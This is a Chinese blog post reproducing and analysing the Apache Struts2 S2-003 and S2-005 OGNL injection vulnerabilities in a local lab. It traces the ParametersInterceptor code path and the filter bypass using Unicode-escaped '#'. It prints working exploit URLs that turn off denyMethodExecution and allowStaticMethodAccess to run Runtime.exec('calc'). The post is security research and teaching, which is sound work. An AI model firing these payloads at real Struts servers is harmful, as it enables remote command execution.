当前位置: 首页 > news >正文

Struts2 系列漏洞 - S2-003、S2-005

一、前言

前面一篇文章也有提到 struts2 在进入 action 进行逻辑处理前(以及逻辑处理后),会进入 18 个拦截器栈中对请求进行必要的处理(如果没有自定义拦截器的话,可以在 struts-default.xml 中找到相应的拦截器栈,如下下图【这里只有 17 个拦截器 233 】)。下图为 struts2 在处理请求时走过的流程。 

image.png

image.png

其中 params 拦截器也即是 com.opensymphony.xwork2.interceptor.ParametersInterceptor ,他负责获取到提交的参数值,并将请求传输的参数赋值到对应的栈中。 

image.png

# 二、漏洞概述

S2-003 漏洞就出现在 com.opensymphony.xwork2.interceptor.ParametersInterceptor 拦截器处理时, doIntercept 方法对提交的参数对值栈中的数据进行赋值,同时进行解析,此时过滤不严导致可以通过 ognl 表达式操作值栈中 map/context 栈 的对象来执行方法,进而导致命令执行。

首先我们可以先看看 ognl 取出 context/map 栈中的对象的属性的语法:

● #object.propertyName

● #object['propertyName']

● #object["propertyName"]

ognl 取出 root 栈中对象的属性的语法为(从栈顶往下找同名的属性值):

● propertyName

● ['propertyName']

● ["propertyName"]

如果在 root 栈中想找具体第几个对象的属性:

● [索引].propertyName

● [索引].["propertyName"]

● [索引].['propertyName']

● 举个栗子:[0].username 找自栈顶起第一个对象的 username 属性。

通过 ognl 表达式来调用对象的属性 / 方法:

● 获取静态属性值:@全类名@静态属性名

● 调用静态方法:@全类名@静态方法(参数列表)

● 调用栈顶对象非静态方法:方法名(参数列表)

官方链接:

https://cwiki.apache.org/confluence/display/WW/S2-00

影响版本:

Struts 2.0.0 - Struts 2.1.8.1

# 三、漏洞复现

环境:

apache-tomcat-9.0.37 、 jdk1.8.0_261 、 struts 2.0.11

tomcat7 及以后的版本会严格按照 RFC 3986 规范进行访问解析,而 RFC 3986 规范定义了 Url 中只允许包含英文字母 a-zA-Z 、数字 0-9 、 -_.~ 4 个特殊字符以及所有保留字符( RFC 3986 中指定了以下字符为保留字符:! * ’ ( ) ; : @ & = + $ , / ? # [ ])

即 tomcat7 后的版本在 payload 中使用 [、]、(、) 需进行 url 编码。

因为漏洞影响版本 Struts 2.0.0 - Struts 2.1.8.1 ,所以其实可以沿用上个漏洞环境。甚至可以更简化,根据官方给的 payload :('\u0023'%20%2b%20'session'user'')(unused)=0wn3d。Action 返回到 index.jsp 回显 session.user 即可。想换个版本的话就把相应的 jar 包都替换掉。

LoginAction.java :( error 返回到 index.jsp ) 

image.png

index.jsp:(取出 session.user ) 

image.png

执行 payload :

官方给的没有执行成功,233 为什么,格式的问题吗?我没有弄明白。然后尝试自己改了一下,成功了。

payload :http://localhost:8080/login.action?%28%27\u0023session%5b%27user%27%5d%27%29%28unused%29=teesst

解码即为:('\u0023session['user']')(unused)=teesst

image.png

payload :http://localhost:8080/login.action?%28%27\u0023session%2euser%27%29%28unused%29=teesst

解码即为:('\u0023session.user')(unused)=teesst

image.png

测试发现去掉后面的 (unused) 也可。\u0023 为 # 号。他的格式问题我没弄明白,【网上说有两种格式,一种 (表达式)(常量)=value ,另一种 (表达式)(常量)(常量) 】。意思应该是明白的:取出 session 对象,将其的 user 赋值为 teesst 。

复杂一点的 payload :

('\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec('calc')')(bla)(bla) 【这里没有 url 编码是因为我悄咪咪换了个低版本的 tomcat 】

payload 解读:首先将 denyMethodExecution 设置为 false ,然后执行计算器的命令。为什么最开始要将 denyMethodExecution 设置为 false ,可以看看分析。

image.png

# 四、分析

我们先根据官网给的 payload 来看,带参数 ('\u0023session['user']')(unused)=teesst 请求 login.action ,根据 struts.xml 中的配置,会路由到 LoginAction 的 login 方法。进入方法前先进拦截器,在 ParameterInterceptor 中获取参数,并将属性值存入 ValueStack 值栈中。

那我们从进入 com.opensymphony.xwork2.interceptor.ParametersInterceptor#doIntercept 方法开始看。 

image.png

在 88 行进行了参数赋值,我们跟进去。 

image.png

在 123 行中进入了 acceptableName(name) 进行判断。这里是个过滤条件。 

image.png

这里判断了 name 中是否包含了 =,#: 字符以及 pojo 字符串,正因如此 payload 中对 # 号进行了 Unicode 编码。接着前面的进入到 129 行的 setValue 方法中。 

image.png

跟进到 OgnlUtil#setValue 方法【这个调用链是不是有点熟悉,和 S2-001 的是不是差不多,只不是 S2-001 是 findValue 】 

image.png

继续跟进,在 compile 方法中对表达式进行了解码。(其实是跟进 parseExpression 方法更深的地方对 Unicode 编码进行了解码 ) 

image.png

进而将其转化为语法树,最终在 ognl.ASTEval#setValueBody 中对 map 栈中 session 域对象中的 user 赋值。 

image.png

我们赋值完参数进入 action 逻辑处理,返回 error ,对应页面 index.jsp ,取出 session 中的 user 显示: 

image.png

接下来我们来看复杂一点的 payload 执行计算器的命令:

('\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec('calc')')(bla)(bla)

是不是其实也是一样的,但是由于设置不允许方法执行,故此时通过 context 将参数值 xwork.MethodAccessor.denyMethodExecution 设为 false 才能执行方法。

在高版本中,如 struts2.1.8.1 中增加了 excludeParams 加了以 struts 开头的参数不进行解析,以及匹配的模式 [[\p{Graph}\s]&&[^,#:=]]* (仅除了 ,#:= 之外的可见字符才会进行解析)。

image.png

且默认禁止了静态方法的执行: 

image.png

是不是仍然是治标不治本,我仍然可以通过 ognl 表达式将其参数打开。

看 payload :

/login.action?('\u0023_memberAccess['allowStaticMethodAccess']')(bla)=true&('\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec('calc')')(bla)(bla)

这里需要注意的是我们通过 _memberAccess 可以获取到 SecurityMemberAccess 的实例,从而对其中的 allowStaticMethodAccess 进行赋值。 

image.png

image.png

image.png

# 五、修复

在 acceptableName 判断时完善了过滤正则。 

image.png

相关文章:

  • 蓝桥杯物联网竞赛_STM32L071KBU6_第十五届蓝桥杯物联网竞赛国赛代码解析
  • Shell脚本
  • Web前端开发 - 5 - JavaScript基础
  • 滴滴出行 大数据研发实习生【继任】
  • Direct local .aar file dependencies are not supported when building an AAR.
  • 算法之分治
  • java 中for、while循环
  • Apache Hadoop的核心组成及其架构
  • 气膜建筑在体育和娱乐行业的多样化应用—轻空间
  • 小程序视图渲染数据和部分事件的绑定
  • 讲透计算机网络知识(实战篇)01——计算机网络和协议
  • 企业级开源项目,云缓存解决方案:CacheCloud
  • 苹果WWDC24一文总结,携手OpenAi,开启Ai新篇章
  • 操作系统复习-Linux的文件系统
  • 第8章 函数
  • 【162天】黑马程序员27天视频学习笔记【Day02-上】
  • 【剑指offer】让抽象问题具体化
  • Angular 响应式表单 基础例子
  • Computed property XXX was assigned to but it has no setter
  • css布局,左右固定中间自适应实现
  • EventListener原理
  • 机器学习中为什么要做归一化normalization
  • 软件开发学习的5大技巧,你知道吗?
  • 一些css基础学习笔记
  • 选择阿里云数据库HBase版十大理由
  • ​Distil-Whisper:比Whisper快6倍,体积小50%的语音识别模型
  • ​LeetCode解法汇总1410. HTML 实体解析器
  • # 飞书APP集成平台-数字化落地
  • #100天计划# 2013年9月29日
  • #php的pecl工具#
  • #微信小程序:微信小程序常见的配置传旨
  • (done) Go 语言:三种多文件协作方式
  • (ros//EnvironmentVariables)ros环境变量
  • (备份) esp32 GPIO
  • (待修改)PyG安装步骤
  • (十八)SpringBoot之发送QQ邮件
  • (转)Android学习系列(31)--App自动化之使用Ant编译项目多渠道打包
  • (转)Google的Objective-C编码规范
  • (转)ORM
  • .NET 发展历程
  • // an array of int
  • /proc/vmstat 详解
  • @RestControllerAdvice异常统一处理类失效原因
  • [ C++ ] template 模板进阶 (特化,分离编译)
  • [Android]Android P(9) WIFI学习笔记 - 扫描 (1)
  • [Asp.net mvc]国际化
  • [BSidesCF 2019]Kookie1
  • [BUUCTF]-PWN:wustctf2020_number_game解析(补码,整数漏洞)
  • [BZOJ3757] 苹果树
  • [C#]科学计数法(scientific notation)显示为正常数字
  • [C]编译和预处理详解
  • [Cocoa]_[初级]_[绘制文本如何设置断行方式]
  • [Gstreamer] 消息处理handler的设置
  • [IOI2018] werewolf 狼人
  • [ios]准备好app后使用xcode发布ios操作